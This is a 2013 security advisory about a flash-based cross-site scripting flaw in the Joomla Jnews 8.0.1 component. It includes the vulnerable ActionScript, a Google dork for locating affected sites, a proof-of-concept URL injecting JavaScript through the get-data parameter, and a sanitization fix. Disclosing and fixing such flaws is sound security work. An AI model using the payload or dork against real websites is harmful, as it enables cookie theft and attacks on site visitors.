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Joomla Jnews 8.0.1 Cross Site Scripting

Joomla Jnews 8.0.1 Cross Site Scripting
Posted May 14, 2013
Authored by Rafay Baloch, Deepankar Arora

Joomla Jnews version 8.0.1 suffers from an Open Flash-Chart cross site scripting vulnerability.

tags | exploit, xss
MD5 | 06d796e8bc753b103203d9ee466588fa

Joomla Jnews 8.0.1 Cross Site Scripting

Change Mirror Download
# Exploit Title: Joomla com_jnews Open Flash-Chart XSS
# Release Date: 14/05/2013
# Author: Deepankar Arora And Rafay Baloch
# Blog: http://rafayhackingarticles.net
# Vendor: www.joobi.co
# Versions Affected: 8.0.1(latest) and earlier
# Google Dork: inurl:com_jnews

Description:

The vulnerability with Open-Flash Chart is a known vulnerability, however
it is integrated with com_jnews, The get-data parameter is not sanitized.
Therefore it results in a flash based cross-site scripting.

The vulnerable code is as follows:

var _local2 = open_flash_chart_data ";
if (this.chart_parameters ["get-data"]) {
_local2 = this.chart_parameters ["get-Data"];
};
if (this.chart_parameters ["id"]) {
_local3 = this.callExternalCallback (_local2
this.chart_parameters ["id"]);
} else {
_local3 = this.callExternalCallback (_local2);
};

We can see from the code that when called, get-data parameter is directly
passed to _local2 without proper sanitization.

POC:

http://localhost/joomla/components/com_jnews/includes/openflashchart/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()

Fix:

Sanitize the input.

_local2 = (this.chart_parameters ["get-Data"]).toString().replace(/[^\w]/g,
'');

The above would filter out all the special characters.

References:
http://www.wooyun.org/bugs/wooyun-2010-07265

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